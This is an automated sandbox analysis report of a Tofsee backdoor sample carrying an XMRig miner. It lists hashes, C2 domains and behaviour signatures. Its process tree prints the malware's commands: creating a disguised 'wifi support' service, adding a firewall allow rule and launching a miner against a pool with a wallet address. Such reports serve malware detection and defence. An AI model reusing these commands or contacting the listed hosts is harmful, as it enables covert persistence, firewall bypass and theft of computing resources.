Analysis

  • max time kernel
    141s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    20-09-2023 15:42

General

  • Target

    file.exe

  • Size

    245KB

  • MD5

    df15de798e52159e6541c0373445a9c7

  • SHA1

    f6b9c5e494c8385c5d63b2908f7e6d5f540670ee

  • SHA256

    c9fd78bfd543098028bb45708460fe553e498c350aed74a9397061c1cc10d5fd

  • SHA512

    dcf71d349d91879761c32267d685d79765ed20db244c5e235451d2e73ea9731fa72984a6a75eb73e7503f64b38c8ab92c6ecb8f3914d92b11980499e110bb403

  • SSDEEP

    3072:K5gq7QWTvquIQSWJ5uCekqO5A+sgfoucB9hZn7gi:G7QWNFJ5uCHq4nghPh7

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2240
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\iezwitkv\
      2⤵
        PID:1848
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ombjcsnj.exe" C:\Windows\SysWOW64\iezwitkv\
        2⤵
          PID:2556
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create iezwitkv binPath= "C:\Windows\SysWOW64\iezwitkv\ombjcsnj.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2600
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description iezwitkv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2400
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start iezwitkv
          2⤵
          • Launches sc.exe
          PID:2696
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2808
      • C:\Windows\SysWOW64\iezwitkv\ombjcsnj.exe
        C:\Windows\SysWOW64\iezwitkv\ombjcsnj.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2560
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:828
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:756

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ombjcsnj.exe

        Filesize

        14.8MB

        MD5

        9f31d63da3ab9fdb0ceef49c5453fb87

        SHA1

        86bdc3b565eb9be3110aac6a4dc60ab48ba5af14

        SHA256

        2bc8dbfe62471f07101d7b29695a7be30a444c84851dda2a80088e4acc0d1cb5

        SHA512

        5b4aa05d6052d114f0dad8aac2cd57c4587e1977ffa61d9142042f927ca9539d63dd9a58c4e464e4ad8e13df615e8ac85b8583d77f3ddd869bbf0b9c254a77c3

      • C:\Windows\SysWOW64\iezwitkv\ombjcsnj.exe

        Filesize

        14.8MB

        MD5

        9f31d63da3ab9fdb0ceef49c5453fb87

        SHA1

        86bdc3b565eb9be3110aac6a4dc60ab48ba5af14

        SHA256

        2bc8dbfe62471f07101d7b29695a7be30a444c84851dda2a80088e4acc0d1cb5

        SHA512

        5b4aa05d6052d114f0dad8aac2cd57c4587e1977ffa61d9142042f927ca9539d63dd9a58c4e464e4ad8e13df615e8ac85b8583d77f3ddd869bbf0b9c254a77c3

      • memory/756-63-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/756-78-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/756-77-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/756-76-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/756-75-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/756-74-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/756-72-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/756-73-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/756-68-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/756-64-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/828-40-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-45-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-21-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/828-23-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/828-24-0x00000000018D0000-0x0000000001ADF000-memory.dmp

        Filesize

        2.1MB

      • memory/828-27-0x00000000018D0000-0x0000000001ADF000-memory.dmp

        Filesize

        2.1MB

      • memory/828-28-0x0000000000160000-0x0000000000166000-memory.dmp

        Filesize

        24KB

      • memory/828-31-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-34-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-35-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-37-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-36-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-38-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-39-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-12-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/828-41-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-42-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-43-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-44-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-20-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/828-46-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-47-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-49-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-48-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-50-0x0000000000270000-0x0000000000280000-memory.dmp

        Filesize

        64KB

      • memory/828-51-0x0000000000290000-0x0000000000295000-memory.dmp

        Filesize

        20KB

      • memory/828-54-0x0000000000290000-0x0000000000295000-memory.dmp

        Filesize

        20KB

      • memory/828-55-0x0000000005560000-0x000000000596B000-memory.dmp

        Filesize

        4.0MB

      • memory/828-58-0x0000000005560000-0x000000000596B000-memory.dmp

        Filesize

        4.0MB

      • memory/828-59-0x00000000002A0000-0x00000000002A7000-memory.dmp

        Filesize

        28KB

      • memory/828-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/828-15-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/2240-1-0x00000000008A0000-0x00000000009A0000-memory.dmp

        Filesize

        1024KB

      • memory/2240-7-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2240-6-0x0000000000400000-0x000000000070B000-memory.dmp

        Filesize

        3.0MB

      • memory/2240-4-0x0000000000400000-0x000000000070B000-memory.dmp

        Filesize

        3.0MB

      • memory/2240-2-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2560-18-0x0000000000400000-0x000000000070B000-memory.dmp

        Filesize

        3.0MB

      • memory/2560-11-0x0000000000400000-0x000000000070B000-memory.dmp

        Filesize

        3.0MB

      • memory/2560-10-0x0000000000850000-0x0000000000950000-memory.dmp

        Filesize

        1024KB